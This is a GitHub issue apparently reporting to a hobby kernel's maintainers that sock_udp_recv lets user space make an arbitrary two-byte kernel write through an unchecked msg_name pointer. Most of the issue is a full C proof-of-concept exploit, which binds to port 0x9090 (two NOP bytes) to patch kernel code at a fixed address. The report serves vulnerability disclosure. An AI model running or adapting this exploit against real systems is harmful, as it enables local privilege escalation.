Skip to content

Arbitrary memory write in sock_udp_recv #310

Open
@terawhiz

Description

@terawhiz

The msg->msg_name pointer is not validated in sock_udp_recv function. An attacker can provide arbitrary kernel address (no KASLR) to msg->msg_name and the value of udp_packet->source_port will be written to the specified memory, value of source_port is user controllable by binding a UDP socket to a specific port number from 0 to 0xffff.

if (msg->msg_namelen == sizeof(struct sockaddr_in)) {
  if (msg->msg_name) {
    ((struct sockaddr_in*)msg->msg_name)->sin_family = AF_INET;
    ((struct sockaddr_in*)msg->msg_name)->sin_port = udp_packet->source_port;      // <----------
    ((struct sockaddr_in*)msg->msg_name)->sin_addr.s_addr = data->source;
  }
}

With this 2 byte arbitrary write an attacker can carefully overwrite kernel memory (kernel code or a structure) to achieve local privilege escalation.

POC to overwrite kernel code:

#include <netinet/in.h>
#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>

#define MSG_LEN 0x10
#define PORT 0x9090         // nop; nop; but also a port number
#define WHERE 0x11ec54    // Target address, where to write

int main(int argc, char * argv[]) {
    int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (sock < 0) {
	   printf("error creating socket\n");
	   exit(-1);
	}
	printf("Socket created: %d\n", sock);

	struct sockaddr_in server_addr;
	memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(PORT);
    server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(sock, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) {
        printf("Bind failed\n");
        close(sock);
        exit(-1);
    }
    printf("Binded socket to local ip and port %x\n", PORT);

	char msg[MSG_LEN] = "AAAAAAAA";
	struct iovec _iovec = {
		(void*)msg, MSG_LEN
	};
	struct msghdr header = {
		.msg_name = &server_addr,
		.msg_namelen = sizeof(struct sockaddr_in),
		.msg_iov = &_iovec,
		.msg_iovlen = 1,
		.msg_control = NULL,
		.msg_controllen = 0,
		.msg_flags = 0,
	};
	if (sendmsg(sock, &header, 0) < 0) {
        printf("sendmsg failed\n");
        exit(-1);
	}
	printf("message sent successfully\n");

	memset(&server_addr, 0, sizeof(server_addr));

	char msg2[MSG_LEN];
	struct iovec _iovec2 = {
		(void*)msg2, MSG_LEN
	};
	struct msghdr header2 = {
		.msg_name = WHERE,
		.msg_namelen = sizeof(struct sockaddr_in),
		.msg_iov = &_iovec2,
		.msg_iovlen = 1,
		.msg_control = NULL,
		.msg_controllen = 0,
		.msg_flags = 0,
	};

	// Trigger arbitrary memory write
	if (recvmsg(sock, &header2, 0) < 0) {
	   printf("recvmsg failed\n");
	   exit(-1);
	}
	return 0;
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions